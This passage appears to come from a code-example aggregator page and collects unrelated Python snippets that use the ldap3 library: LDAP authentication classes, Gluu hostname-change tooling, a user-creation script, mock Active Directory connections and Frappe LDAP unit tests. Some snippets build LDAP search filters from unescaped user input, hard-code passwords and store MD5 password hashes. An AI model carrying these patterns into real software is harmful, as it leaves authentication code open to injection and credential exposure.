    print 'Admin username/password Wrong'
else:
    c.search(search_base='dc=naanal,dc=local',
             search_filter='(objectClass=OrganizationalUnit)',
             search_scope=SUBTREE,
             attributes=[ALL_ATTRIBUTES, ALL_OPERATIONAL_ATTRIBUTES])

    total_entries += len(c.response)

    for entry in c.response:
        if entry.has_key('attributes'):
            total_ou += 1
예제 #44
0
USE_I18N = True

USE_L10N = True

USE_TZ = True

# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.10/howto/static-files/

STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'collected_static')

# LDAP connection
server = Server('serveur.lycee.jb', port=389)
connection = Connection(server)
connection.bind()

############# for the LDAP AUTH BACKEND ########################
# The URL of the LDAP server.
LDAP_AUTH_URL = "ldap://serveur.lycee.jb:389"

# The LDAP search base for looking up users.
LDAP_AUTH_SEARCH_BASE = "ou=Users,dc=lycee,dc=jb"

# The LDAP class that represents a user.
LDAP_AUTH_OBJECT_CLASS = "kwartzAccount"

# User model fields mapped to the LDAP
# attributes that represent them.
LDAP_AUTH_USER_FIELDS = {
    "username": "******",
예제 #45
0
class Ldap:
    def __init__(
        self,
        host: str,
        base_dn: str,
        login_attribute: str = "userPrincipalName",
        ldap3_args: Any = {},
    ):
        """ Creates an ldap3 Server Object that will be used for the authentication

        Args:
            host (string): The URL of the the LDAP server.
            base_dn (string): The base dn of the LDAP server (e.g. DC=example,DC=com).
            login_attribut (string): Defines what attribute corresponds to the username. Defaults to 'userPrincipalName'
            ldap3_args (dict): Optional parameters that are used by the ldap3 Server function.
        
        Returns:
            No value
        """

        self.server = Server(host, **ldap3_args)
        self.base_dn = base_dn
        self.login_attribute = login_attribute
        self.__authenticated = False

    def authenticate(self,
                     user: str,
                     password: str,
                     member_of: Optional[str] = None) -> bool:
        """ Authenticates the user and if member_of has been provided checks if the user is a member of the group.

        Args:
            user (string): Username
            password (string): Password.
            ldap3_args (dict): Optional parameter that, if provided, is used to validate if the user is a member of the provided group.
        
        Returns:
            __authenticated (bool): True is the user was successfully authenticated (and is in the provided group). Otherwise False. 
        """

        self.user = user
        self.connection = Connection(self.server, user=user, password=password)

        if self.connection.bind():
            if member_of:
                self.connection.search(
                    search_base=self.base_dn,
                    search_filter="(&({}={})(memberOf={}))".format(
                        self.login_attribute, user, member_of),
                )
                if self.connection.entries:
                    self.__authenticated = True
                else:
                    self.__authenticated = False
            else:
                self.__authenticated = True
        else:
            self.__authenticated = False

        return self.__authenticated

    def get_attributes(
            self,
            attributes: Optional[Union[List[str],
                                       str]] = "*") -> Dict[str, Any]:
        """ Gets attributes for the user (successful authentication is required)

        Args:
            attributes (list(str) or str): Optional parameter that defaults to * (meaning all). 
                                           It can be used to specify the attributes that should be returned.

        Returns:
            user_attributes (dict): Values of the attributes requested for the user. Empty if the user hasn't been authenticated previously.
        """

        if self.__authenticated:
            self.connection.search(
                search_base=self.base_dn,
                search_filter="({}={})".format(self.login_attribute,
                                               self.user),
                attributes=attributes,
            )

            entry = json.loads(
                self.connection.entries[0].entry_to_json())["attributes"]
            user_attributes = {}
            for key, val in entry.items():
                if len(val) == 1:
                    user_attributes[key] = val[0]
                else:
                    user_attributes[key] = val

            return user_attributes
        else:
            return {}
예제 #46
0
class ChangeGluuHostname:
    def __init__(self,
                 old_host,
                 new_host,
                 cert_city,
                 cert_mail,
                 cert_state,
                 cert_country,
                 ldap_password,
                 os_type,
                 ip_address,
                 server='localhost',
                 gluu_version='',
                 local=True,
                 ldap_type='opendj'):

        self.old_host = old_host
        self.new_host = new_host
        self.ip_address = ip_address
        self.cert_city = cert_city
        self.cert_mail = cert_mail
        self.cert_state = cert_state
        self.cert_country = cert_country
        self.server = server
        self.ldap_password = ldap_password
        self.os_type = os_type
        self.gluu_version = gluu_version
        self.local = local
        self.base_inum = None
        self.appliance_inum = None
        self.ldap_type = ldap_type

    def startup(self):
        if self.local:
            ldap_server = 'localhost'
        else:
            ldap_server = self.server

        ldap_bind_dn = "cn=directory manager"
        if self.ldap_type == 'openldap':
            ldap_bind_dn += ' ,o=gluu'

        ldap_server = Server("ldaps://{}:1636".format(self.server),
                             use_ssl=True)
        self.conn = Connection(ldap_server,
                               user=ldap_bind_dn,
                               password=self.ldap_password)
        r = self.conn.bind()
        if not r:
            print "Can't conect to LDAP Server"
            return False

        self.container = '/opt/gluu-server-{}'.format(self.gluu_version)
        if not self.local:
            print "NOT LOCAL?"

            sys.path.append("..")
            from clustermgr.core.remote import RemoteClient
            self.c = RemoteClient(self.server)
            self.c.startup()
        else:
            self.c = FakeRemote()
            if os.path.exists('/etc/gluu/conf/ox-ldap.properties'):
                self.container = '/'
                self.c.fake_remote = True

        self.installer = Installer(self.c, self.gluu_version, self.os_type)

        self.appliance_inum = self.get_appliance_inum()
        self.base_inum = self.get_base_inum()

        return True

    def get_appliance_inum(self):
        self.conn.search(search_base='ou=appliances,o=gluu',
                         search_filter='(objectclass=*)',
                         search_scope=SUBTREE,
                         attributes=['inum'])

        for r in self.conn.response:
            if r['attributes']['inum']:
                return r['attributes']['inum'][0]

    def get_base_inum(self):
        self.conn.search(search_base='o=gluu',
                         search_filter='(objectclass=gluuOrganization)',
                         search_scope=SUBTREE,
                         attributes=['o'])

        for r in self.conn.response:
            if r['attributes']['o']:
                return r['attributes']['o'][0]

    def change_appliance_config(self):
        print "Changing LDAP Applience configurations"
        config_dn = 'ou=configuration,inum={},ou=appliances,o=gluu'.format(
            self.appliance_inum)

        for dns, cattr in (
            ('', 'oxIDPAuthentication'),
            ('oxauth', 'oxAuthConfDynamic'),
            ('oxidp', 'oxConfApplication'),
            ('oxtrust', 'oxTrustConfApplication'),
        ):
            if dns:
                dn = 'ou={},{}'.format(dns, config_dn)
            else:
                dn = 'inum={},ou=appliances,o=gluu'.format(self.appliance_inum)

            self.conn.search(search_base=dn,
                             search_filter='(objectClass=*)',
                             search_scope=BASE,
                             attributes=[cattr])

            config_data = json.loads(
                self.conn.response[0]['attributes'][cattr][0])

            for k in config_data:
                kVal = config_data[k]
                if type(kVal) == type(u''):
                    if self.old_host in kVal:
                        kVal = kVal.replace(self.old_host, self.new_host)
                        config_data[k] = kVal

            config_data = json.dumps(config_data)
            self.conn.modify(dn, {cattr: [MODIFY_REPLACE, config_data]})

    def change_clients(self):
        print "Changing LDAP Clients configurations"
        dn = "ou=clients,o={},o=gluu".format(self.base_inum)
        self.conn.search(search_base=dn,
                         search_filter='(objectClass=oxAuthClient)',
                         search_scope=SUBTREE,
                         attributes=[
                             'oxAuthPostLogoutRedirectURI',
                             'oxAuthRedirectURI', 'oxClaimRedirectURI',
                             'oxAuthLogoutURI'
                         ])

        for client_entry in self.conn.response:
            dn = client_entry['dn']
            for atr in client_entry['attributes']:
                if client_entry['attributes'][atr]:
                    changeAttr = False
                    for i in range(len(client_entry['attributes'][atr])):
                        cur_val = client_entry['attributes'][atr][i]
                        client_entry['attributes'][atr][i] = cur_val.replace(
                            self.old_host, self.new_host)
                        if cur_val != client_entry['attributes'][atr][i]:
                            changeAttr = True

                if changeAttr:
                    self.conn.modify(dn, {
                        atr: [MODIFY_REPLACE, client_entry['attributes'][atr]]
                    })

    def change_uma(self):
        print "Changing LDAP UMA Configurations"

        for ou, cattr in (
            ('resources', 'oxResource'),
            ('scopes', 'oxId'),
        ):

            dn = "ou={},ou=uma,o={},o=gluu".format(ou, self.base_inum)

            self.conn.search(search_base=dn,
                             search_filter='(objectClass=*)',
                             search_scope=SUBTREE,
                             attributes=[cattr])
            result = self.conn.response

            for r in result:
                for i in range(len(r['attributes'][cattr])):
                    changeAttr = False
                    if self.old_host in r['attributes'][cattr][i]:
                        r['attributes'][cattr][i] = r['attributes'][cattr][
                            i].replace(self.old_host, self.new_host)
                        self.conn.modify(
                            r['dn'],
                            {cattr: [MODIFY_REPLACE, r['attributes'][cattr]]})

    def change_custom_scripts(self):
        print "Changing Custom Scripts"

        dn = "ou=scripts,o={0},o=gluu".format(self.base_inum)

        self.conn.search(search_base=dn,
                         search_filter='(objectClass=oxCustomScript)',
                         search_scope=SUBTREE,
                         attributes=['oxConfigurationProperty'])

        result = self.conn.response

        for r in result:
            scdn = r['dn']
            change_attr = False
            new_list = []

            for oxConfigurationProperty in r['attributes'][
                    'oxConfigurationProperty']:
                if self.old_host in oxConfigurationProperty:
                    change_attr = True
                    oxConfigurationProperty = oxConfigurationProperty.replace(
                        self.old_host, self.new_host)

                new_list.append(oxConfigurationProperty)

            if change_attr:
                p = self.conn.modify(
                    scdn,
                    {'oxConfigurationProperty': [MODIFY_REPLACE, new_list]})

    def change_casa(self):
        casa_json = os.path.join(
            self.installer.container,
            'install/community-edition-setup/output/casa.json')
        if self.installer.c.exists(casa_json):
            result = self.installer.c.get_file(casa_json)
            if result[0]:
                print "Conifguring CASA json for further use"
                casa = result[1].read()
                casa = casa.replace(self.old_host, self.new_host)
                self.installer.c.put_file(casa_json, casa)

    def change_httpd_conf(self):
        print "Changing httpd configurations"
        if 'CentOS' in self.os_type:

            httpd_conf = os.path.join(self.container,
                                      'etc/httpd/conf/httpd.conf')
            https_gluu = os.path.join(self.container,
                                      'etc/httpd/conf.d/https_gluu.conf')
            conf_files = [httpd_conf, https_gluu]

        elif 'Ubuntu' in self.os_type:
            https_gluu = os.path.join(
                self.container, 'etc/apache2/sites-available/https_gluu.conf')
            conf_files = [https_gluu]

        for conf_file in conf_files:
            result, fileObj = self.c.get_file(conf_file)
            if result:
                config_text = fileObj.read()
                config_text = config_text.replace(self.old_host, self.new_host)
                self.c.put_file(conf_file, config_text)

    def create_new_certs(self):
        print "Backing up certificates"
        cmd_list = [
            'mkdir /etc/certs/backup', 'cp /etc/certs/* /etc/certs/backup'
        ]
        for cmd in cmd_list:
            print self.installer.run(cmd)

        print "Creating certificates"
        cmd_list = [
            '/usr/bin/openssl genrsa -des3 -out /etc/certs/{0}.key.orig -passout pass:secret 2048',
            '/usr/bin/openssl rsa -in /etc/certs/{0}.key.orig -passin pass:secret -out /etc/certs/{0}.key',
            '/usr/bin/openssl req -new -key /etc/certs/{0}.key -out /etc/certs/{0}.csr -subj '
            '"/C={4}/ST={5}/L={1}/O=Gluu/CN={2}/emailAddress={3}"'.format(
                '{0}', self.cert_city, self.new_host, self.cert_mail,
                self.cert_country, self.cert_state),
            '/usr/bin/openssl x509 -req -days 365 -in /etc/certs/{0}.csr -signkey /etc/certs/{0}.key -out /etc/certs/{0}.crt',
            'chown root:gluu -R /etc/certs/',
            'chown jetty:jetty /etc/certs/oxauth-keys*'
        ]

        cert_list = [
            'httpd', 'idp-encryption', 'idp-signing', 'shibIDP', 'passport-sp'
        ]

        for crt in cert_list:

            for cmd in cmd_list:
                cmd = cmd.format(crt)
                print self.installer.run(cmd)

            if not crt == 'saml.pem':

                del_key = (
                    '/opt/jre/bin/keytool -delete -alias {}_{} -keystore '
                    '/opt/jre/jre/lib/security/cacerts -storepass changeit'
                ).format(self.old_host, crt)

                r = self.installer.run(del_key)

                add_key = (
                    '/opt/jre/bin/keytool -import -trustcacerts -alias '
                    '{0}_{1} -file /etc/certs/{2}.crt -keystore '
                    '/opt/jre/jre/lib/security/cacerts -storepass changeit -noprompt'
                ).format(self.new_host, crt, crt)

                r = self.installer.run(add_key)

        self.installer.run('chown jetty:jetty /etc/certs/oxauth-keys.*')

    def modify_saml_passport(self):
        print "Modifying SAML & Passport if installed"

        files = [
            '/opt/gluu-server-{0}/opt/shibboleth-idp/conf/idp.properties'.
            format(self.gluu_version),
            '/opt/gluu-server-{0}/opt/shibboleth-idp/metadata/idp-metadata.xml'
            .format(self.gluu_version),
            '/opt/gluu-server-{0}/etc/gluu/conf/passport-config.json'.format(
                self.gluu_version),
        ]

        for fn in files:
            if self.c.exists(fn):
                print "Modifying Shibboleth {0}".format(fn)
                r = self.c.get_file(fn)
                if r[0]:
                    f = r[1].read()
                    f = f.replace(self.old_host, self.new_host)
                    print self.c.put_file(fn, f)

    def change_host_name(self):
        print "Changing hostname"
        hostname_file = os.path.join(self.container, 'etc/hostname')
        print self.c.put_file(hostname_file, self.new_host)

    def modify_etc_hosts(self):
        print "Modifying /etc/hosts"
        hosts_file = os.path.join(self.container, 'etc/hosts')
        r = self.c.get_file(hosts_file)
        if r[0]:
            old_hosts = r[1]
            news_hosts = modify_etc_hosts([(self.new_host, self.ip_address)],
                                          old_hosts, self.old_host)
            print self.c.put_file(hosts_file, news_hosts)
예제 #47
0
from ldap3.utils.hashed import hashed
from ldap3 import Server, Connection, HASHED_MD5

server = Server('ldap://127.0.0.1:389')
DN = 'cn=admin,dc=dexter,dc=com,dc=br'
ldap = Connection(server, DN, '4linux')

if ldap.bind():
    print('Conectado ao server LDAP')
else:
    print('usuario ou senha invalidos')

user = {
    'cn': 'Diogo',
    'sn': 'Dionisio',
    'mail': '*****@*****.**',
    'UserPassword': hashed(HASHED_MD5, '4linux')
}

objectClass = ['person', 'inetOrgPerson', 'OrganizationalPerson', 'top']
dn = 'mail={0},dc=dexter,dc=com,dc=br'.format(user['mail'])

if ldap.add(dn, objectClass, user):
    print('usuario cadatrado com sucesso')
else:
    print('problema ao cadastrar o usuario')
예제 #48
0
def mock_ad_connection(password: str) -> Connection:
    """Create mock AD connection"""
    server = Server("my_fake_server", get_info=OFFLINE_AD_2012_R2)
    _pass = "******"  # noqa # nosec
    connection = Connection(
        server,
        user="******",
        password=_pass,
        client_strategy=MOCK_SYNC,
    )
    # Entry for password checking
    connection.strategy.add_entry(
        "cn=user,ou=users,dc=goauthentik,dc=io",
        {
            "name": "test-user",
            "objectSid": "unique-test-group",
            "objectClass": "person",
            "displayName": "Erin M. Hagens",
            "sAMAccountName": "sAMAccountName",
            "distinguishedName": "cn=user,ou=users,dc=goauthentik,dc=io",
        },
    )
    connection.strategy.add_entry(
        "cn=group1,ou=groups,dc=goauthentik,dc=io",
        {
            "name": "test-group",
            "objectSid": "unique-test-group",
            "objectClass": "group",
            "distinguishedName": "cn=group1,ou=groups,dc=goauthentik,dc=io",
            "member": ["cn=user0,ou=users,dc=goauthentik,dc=io"],
        },
    )
    # Group without SID
    connection.strategy.add_entry(
        "cn=group2,ou=groups,dc=goauthentik,dc=io",
        {
            "name": "test-group",
            "objectClass": "group",
            "distinguishedName": "cn=group2,ou=groups,dc=goauthentik,dc=io",
        },
    )
    connection.strategy.add_entry(
        "cn=user0,ou=users,dc=goauthentik,dc=io",
        {
            "userPassword": password,
            "sAMAccountName": "user0_sn",
            "name": "user0_sn",
            "revision": 0,
            "objectSid": "user0",
            "objectClass": "person",
            "distinguishedName": "cn=user0,ou=users,dc=goauthentik,dc=io",
            "userAccountControl": UserAccountControl.ACCOUNTDISABLE
            + UserAccountControl.NORMAL_ACCOUNT,
        },
    )
    # User without SID
    connection.strategy.add_entry(
        "cn=user1,ou=users,dc=goauthentik,dc=io",
        {
            "userPassword": "******",
            "sAMAccountName": "user2_sn",
            "name": "user1_sn",
            "revision": 0,
            "objectClass": "person",
            "distinguishedName": "cn=user1,ou=users,dc=goauthentik,dc=io",
        },
    )
    # Duplicate users
    connection.strategy.add_entry(
        "cn=user2,ou=users,dc=goauthentik,dc=io",
        {
            "userPassword": "******",
            "sAMAccountName": "user2_sn",
            "name": "user2_sn",
            "revision": 0,
            "objectSid": "unique-test2222",
            "objectClass": "person",
            "distinguishedName": "cn=user2,ou=users,dc=goauthentik,dc=io",
        },
    )
    connection.strategy.add_entry(
        "cn=user3,ou=users,dc=goauthentik,dc=io",
        {
            "userPassword": "******",
            "sAMAccountName": "user2_sn",
            "name": "user2_sn",
            "revision": 0,
            "objectSid": "unique-test2222",
            "objectClass": "person",
            "distinguishedName": "cn=user3,ou=users,dc=goauthentik,dc=io",
        },
    )
    connection.bind()
    return connection
예제 #49
0
class LDAP_TestCase():
	TEST_LDAP_SERVER = None # must match the 'LDAP Settings' field option
	TEST_LDAP_SEARCH_STRING = None
	LDAP_USERNAME_FIELD = None
	DOCUMENT_GROUP_MAPPINGS = []
	LDAP_SCHEMA = None
	LDAP_LDIF_JSON = None
	TEST_VALUES_LDAP_COMPLEX_SEARCH_STRING = None

	def mock_ldap_connection(f):

		@functools.wraps(f)
		def wrapped(self, *args, **kwargs):

			with mock.patch('frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.connect_to_ldap') as mock_connection:
				mock_connection.return_value = self.connection

				self.test_class = LDAPSettings(self.doc)

				# Create a clean doc
				localdoc = self.doc.copy()
				frappe.get_doc(localdoc).save()

				rv = f(self, *args, **kwargs)


			# Clean-up
			self.test_class = None

			return rv

		return wrapped

	def clean_test_users():
		try: # clean up test user 1
			frappe.get_doc("User", '*****@*****.**').delete()
		except Exception:
			pass

		try: # clean up test user 2
			frappe.get_doc("User", '*****@*****.**').delete()
		except Exception:
			pass


	@classmethod
	def setUpClass(self, ldapServer='OpenLDAP'):

		self.clean_test_users()
		# Save user data for restoration in tearDownClass()
		self.user_ldap_settings = frappe.get_doc('LDAP Settings')

		# Create test user1
		self.user1doc = {
			'username': '******',
			'email': '*****@*****.**',
			'first_name': 'posix'
		}
		self.user1doc.update({
			"doctype": "User",
			"send_welcome_email": 0,
			"language": "",
			"user_type": "System User",
		})

		user = frappe.get_doc(self.user1doc)
		user.insert(ignore_permissions=True)

		# Create test user1
		self.user2doc = {
			'username': '******',
			'email': '*****@*****.**',
			'first_name': 'posix'
		}
		self.user2doc.update({
			"doctype": "User",
			"send_welcome_email": 0,
			"language": "",
			"user_type": "System User",
		})

		user = frappe.get_doc(self.user2doc)
		user.insert(ignore_permissions=True)


		# Setup Mock OpenLDAP Directory
		self.ldap_dc_path = 'dc=unit,dc=testing'
		self.ldap_user_path = 'ou=users,' + self.ldap_dc_path
		self.ldap_group_path = 'ou=groups,' + self.ldap_dc_path
		self.base_dn = 'cn=base_dn_user,' + self.ldap_dc_path
		self.base_password = '******'
		self.ldap_server = 'ldap://my_fake_server:389'


		self.doc = {
			"doctype": "LDAP Settings",
			"enabled": True,
			"ldap_directory_server": self.TEST_LDAP_SERVER,
			"ldap_server_url": self.ldap_server,
			"base_dn": self.base_dn,
			"password": self.base_password,
			"ldap_search_path_user": self.ldap_user_path,
			"ldap_search_string": self.TEST_LDAP_SEARCH_STRING,
			"ldap_search_path_group": self.ldap_group_path,
			"ldap_user_creation_and_mapping_section": '',
			"ldap_email_field": 'mail',
			"ldap_username_field": self.LDAP_USERNAME_FIELD,
			"ldap_first_name_field": 'givenname',
			"ldap_middle_name_field": '',
			"ldap_last_name_field": 'sn',
			"ldap_phone_field": 'telephonenumber',
			"ldap_mobile_field": 'mobile',
			"ldap_security": '',
			"ssl_tls_mode": '',
			"require_trusted_certificate": 'No',
			"local_private_key_file": '',
			"local_server_certificate_file": '',
			"local_ca_certs_file": '',
			"ldap_group_objectclass": '',
			"ldap_group_member_attribute": '',
			"default_role": 'Newsletter Manager',
			"ldap_groups": self.DOCUMENT_GROUP_MAPPINGS,
			"ldap_group_field": ''}

		self.server = Server(host=self.ldap_server, port=389, get_info=self.LDAP_SCHEMA)

		self.connection = Connection(
			self.server,
			user=self.base_dn,
			password=self.base_password,
			read_only=True,
			client_strategy=MOCK_SYNC)

		self.connection.strategy.entries_from_json(os.path.abspath(os.path.dirname(__file__)) + '/' + self.LDAP_LDIF_JSON)

		self.connection.bind()


	@classmethod
	def tearDownClass(self):
		try:
			frappe.get_doc('LDAP Settings').delete()

		except Exception:
			pass

		try:
			# return doc back to user data
			self.user_ldap_settings.save()

		except Exception:
			pass

		# Clean-up test users
		self.clean_test_users()

		# Clear OpenLDAP connection
		self.connection = None


	@mock_ldap_connection
	def test_mandatory_fields(self):

		mandatory_fields = [
					'ldap_server_url',
					'ldap_directory_server',
					'base_dn',
					'password',
					'ldap_search_path_user',
					'ldap_search_path_group',
					'ldap_search_string',
					'ldap_email_field',
					'ldap_username_field',
					'ldap_first_name_field',
					'require_trusted_certificate',
					'default_role'
		] # fields that are required to have ldap functioning need to be mandatory

		for mandatory_field in mandatory_fields:

			localdoc = self.doc.copy()
			localdoc[mandatory_field] = ''

			try:

				frappe.get_doc(localdoc).save()

				self.fail('Document LDAP Settings field [{0}] is not mandatory'.format(mandatory_field))

			except frappe.exceptions.MandatoryError:
				pass

			except frappe.exceptions.ValidationError:
				if mandatory_field == 'ldap_search_string':
					# additional validation is done on this field, pass in this instance
					pass


		for non_mandatory_field in self.doc: # Ensure remaining fields have not been made mandatory

			if non_mandatory_field == 'doctype' or non_mandatory_field in mandatory_fields:
				continue

			localdoc = self.doc.copy()
			localdoc[non_mandatory_field] = ''

			try:

				frappe.get_doc(localdoc).save()

			except frappe.exceptions.MandatoryError:
				self.fail('Document LDAP Settings field [{0}] should not be mandatory'.format(non_mandatory_field))


	@mock_ldap_connection
	def test_validation_ldap_search_string(self):

		invalid_ldap_search_strings = [
					'',
					'uid={0}',
					'(uid={0}',
					'uid={0})',
					'(&(objectclass=posixgroup)(uid={0})',
					'&(objectclass=posixgroup)(uid={0}))',
					'(uid=no_placeholder)'
		] # ldap search string must be enclosed in '()' for ldap search to work for finding user and have the same number of opening and closing brackets.

		for invalid_search_string in invalid_ldap_search_strings:

			localdoc = self.doc.copy()
			localdoc['ldap_search_string'] = invalid_search_string

			try:
				frappe.get_doc(localdoc).save()

				self.fail("LDAP search string [{0}] should not validate".format(invalid_search_string))

			except frappe.exceptions.ValidationError:
				pass


	def test_connect_to_ldap(self):

		# setup a clean doc with ldap disabled so no validation occurs (this is tested seperatly)
		local_doc = self.doc.copy()
		local_doc['enabled'] = False
		self.test_class = LDAPSettings(self.doc)

		with mock.patch('ldap3.Server') as ldap3_server_method:

			with mock.patch('ldap3.Connection') as ldap3_connection_method:
				ldap3_connection_method.return_value = self.connection

				with mock.patch('ldap3.Tls') as ldap3_Tls_method:

					function_return = self.test_class.connect_to_ldap(base_dn=self.base_dn, password=self.base_password)

					args, kwargs = ldap3_connection_method.call_args

					prevent_connection_parameters = {
						# prevent these parameters for security or lack of the und user from being able to configure
						'mode': {
							'IP_V4_ONLY': 'Locks the user to IPv4 without frappe providing a way to configure',
							'IP_V6_ONLY': 'Locks the user to IPv6 without frappe providing a way to configure'
						},
						'auto_bind': {
							'NONE': 'ldap3.Connection must autobind with base_dn',
							'NO_TLS': 'ldap3.Connection must have TLS',
							'TLS_AFTER_BIND': '[Security] ldap3.Connection TLS bind must occur before bind'
						}
					}

					for connection_arg in kwargs:

						if connection_arg in prevent_connection_parameters and \
							kwargs[connection_arg] in prevent_connection_parameters[connection_arg]:

							self.fail('ldap3.Connection was called with {0}, failed reason: [{1}]'.format(
								kwargs[connection_arg],
								prevent_connection_parameters[connection_arg][kwargs[connection_arg]]))

					if local_doc['require_trusted_certificate'] == 'Yes':
						tls_validate = ssl.CERT_REQUIRED
						tls_version = ssl.PROTOCOL_TLSv1
						tls_configuration = ldap3.Tls(validate=tls_validate, version=tls_version)

						self.assertTrue(kwargs['auto_bind'] == ldap3.AUTO_BIND_TLS_BEFORE_BIND,
							'Security: [ldap3.Connection] autobind TLS before bind with value ldap3.AUTO_BIND_TLS_BEFORE_BIND')

					else:
						tls_validate = ssl.CERT_NONE
						tls_version = ssl.PROTOCOL_TLSv1
						tls_configuration = ldap3.Tls(validate=tls_validate, version=tls_version)

						self.assertTrue(kwargs['auto_bind'],
							'ldap3.Connection must autobind')


					ldap3_Tls_method.assert_called_with(validate=tls_validate, version=tls_version)

					ldap3_server_method.assert_called_with(host=self.doc['ldap_server_url'], tls=tls_configuration)

					self.assertTrue(kwargs['password'] == self.base_password,
						'ldap3.Connection password does not match provided password')

					self.assertTrue(kwargs['raise_exceptions'],
						'ldap3.Connection must raise exceptions for error handling')

					self.assertTrue(kwargs['user'] == self.base_dn,
						'ldap3.Connection user does not match provided user')

					ldap3_connection_method.assert_called_with(server=ldap3_server_method.return_value,
						auto_bind=True,
						password=self.base_password,
						raise_exceptions=True,
						read_only=True,
						user=self.base_dn)

					self.assertTrue(type(function_return) is ldap3.core.connection.Connection,
						'The return type must be of ldap3.Connection')

					function_return = self.test_class.connect_to_ldap(base_dn=self.base_dn, password=self.base_password, read_only=False)

					args, kwargs = ldap3_connection_method.call_args

					self.assertFalse(kwargs['read_only'], 'connect_to_ldap() read_only parameter supplied as False but does not match the ldap3.Connection() read_only named parameter')




	@mock_ldap_connection
	def test_get_ldap_client_settings(self):

		result = self.test_class.get_ldap_client_settings()

		self.assertIsInstance(result, dict)

		self.assertTrue(result['enabled'] == self.doc['enabled']) # settings should match doc

		localdoc = self.doc.copy()
		localdoc['enabled'] = False
		frappe.get_doc(localdoc).save()

		result = self.test_class.get_ldap_client_settings()

		self.assertFalse(result['enabled']) # must match the edited doc


	@mock_ldap_connection
	def test_update_user_fields(self):

		test_user_data = {
			'username': '******',
			'email': '*****@*****.**',
			'first_name': 'posix',
			'middle_name': 'another',
			'last_name': 'user',
			'phone': '08 1234 5678',
			'mobile_no': '0421 123 456'
		}

		test_user = frappe.get_doc("User", test_user_data['email'])

		self.test_class.update_user_fields(test_user, test_user_data)

		updated_user = frappe.get_doc("User", test_user_data['email'])

		self.assertTrue(updated_user.middle_name == test_user_data['middle_name'])
		self.assertTrue(updated_user.last_name == test_user_data['last_name'])
		self.assertTrue(updated_user.phone == test_user_data['phone'])
		self.assertTrue(updated_user.mobile_no == test_user_data['mobile_no'])


	@mock_ldap_connection
	def test_sync_roles(self):

		if self.TEST_LDAP_SERVER.lower() == 'openldap':
			test_user_data = {
				'posix.user1': ['Users', 'Administrators', 'default_role', 'frappe_default_all','frappe_default_guest'],
				'posix.user2': ['Users', 'Group3', 'default_role', 'frappe_default_all', 'frappe_default_guest']
			}

		elif self.TEST_LDAP_SERVER.lower() == 'active directory':
			test_user_data = {
				'posix.user1': ['Domain Users', 'Domain Administrators', 'default_role', 'frappe_default_all','frappe_default_guest'],
				'posix.user2': ['Domain Users', 'Enterprise Administrators', 'default_role', 'frappe_default_all', 'frappe_default_guest']
			}


		role_to_group_map = {
			self.doc['ldap_groups'][0]['erpnext_role']: self.doc['ldap_groups'][0]['ldap_group'],
			self.doc['ldap_groups'][1]['erpnext_role']: self.doc['ldap_groups'][1]['ldap_group'],
			self.doc['ldap_groups'][2]['erpnext_role']: self.doc['ldap_groups'][2]['ldap_group'],
			'Newsletter Manager': 'default_role',
			'All': 'frappe_default_all',
			'Guest': 'frappe_default_guest',

		}

		# re-create user1 to ensure clean
		frappe.get_doc("User", '*****@*****.**').delete()
		user = frappe.get_doc(self.user1doc)
		user.insert(ignore_permissions=True)

		for test_user in test_user_data:

			test_user_doc = frappe.get_doc("User", test_user + '@unit.testing')
			test_user_roles = frappe.get_roles(test_user + '@unit.testing')

			self.assertTrue(len(test_user_roles) == 2,
				'User should only be a part of the All and Guest roles') # check default frappe roles

			self.test_class.sync_roles(test_user_doc, test_user_data[test_user]) # update user roles

			frappe.get_doc("User", test_user + '@unit.testing')
			updated_user_roles = frappe.get_roles(test_user + '@unit.testing')

			self.assertTrue(len(updated_user_roles) == len(test_user_data[test_user]),
				'syncing of the user roles failed. {0} != {1} for user {2}'.format(len(updated_user_roles), len(test_user_data[test_user]), test_user))

			for user_role in updated_user_roles: # match each users role mapped to ldap groups

				self.assertTrue(role_to_group_map[user_role] in test_user_data[test_user],
					'during sync_roles(), the user was given role {0} which should not have occured'.format(user_role))

	@mock_ldap_connection
	def test_create_or_update_user(self):

		test_user_data = {
			'posix.user1': ['Users', 'Administrators', 'default_role', 'frappe_default_all','frappe_default_guest'],
		}

		test_user = '******'

		frappe.get_doc("User", test_user + '@unit.testing').delete() # remove user 1

		with self.assertRaises(frappe.exceptions.DoesNotExistError): # ensure user deleted so function can be tested
			frappe.get_doc("User", test_user + '@unit.testing')


		with mock.patch('frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.update_user_fields') \
			as update_user_fields_method:

			update_user_fields_method.return_value = None


			with mock.patch('frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.sync_roles') as sync_roles_method:

				sync_roles_method.return_value = None

				# New user
				self.test_class.create_or_update_user(self.user1doc, test_user_data[test_user])

				self.assertTrue(sync_roles_method.called, 'User roles need to be updated for a new user')
				self.assertFalse(update_user_fields_method.called,
					'User roles are not required to be updated for a new user, this will occur during logon')


				# Existing user
				self.test_class.create_or_update_user(self.user1doc, test_user_data[test_user])

				self.assertTrue(sync_roles_method.called, 'User roles need to be updated for an existing user')
				self.assertTrue(update_user_fields_method.called, 'User fields need to be updated for an existing user')


	@mock_ldap_connection
	def test_get_ldap_attributes(self):

		method_return = self.test_class.get_ldap_attributes()

		self.assertTrue(type(method_return) is list)



	@mock_ldap_connection
	def test_fetch_ldap_groups(self):

		if self.TEST_LDAP_SERVER.lower() == 'openldap':
			test_users = {
				'posix.user': ['Users', 'Administrators'],
				'posix.user2': ['Users', 'Group3']

			}
		elif self.TEST_LDAP_SERVER.lower() == 'active directory':
			test_users = {
				'posix.user': ['Domain Users', 'Domain Administrators'],
				'posix.user2': ['Domain Users', 'Enterprise Administrators']

			}

		for test_user in test_users:

			self.connection.search(
				search_base=self.ldap_user_path,
				search_filter=self.TEST_LDAP_SEARCH_STRING.format(test_user),
				attributes=self.test_class.get_ldap_attributes())

			method_return = self.test_class.fetch_ldap_groups(self.connection.entries[0], self.connection)

			self.assertIsInstance(method_return, list)
			self.assertTrue(len(method_return) == len(test_users[test_user]))

			for returned_group in method_return:

				self.assertTrue(returned_group in test_users[test_user])



	@mock_ldap_connection
	def test_authenticate(self):

		with mock.patch('frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.fetch_ldap_groups') as \
			fetch_ldap_groups_function:

			fetch_ldap_groups_function.return_value = None

			self.assertTrue(self.test_class.authenticate('posix.user', 'posix_user_password'))

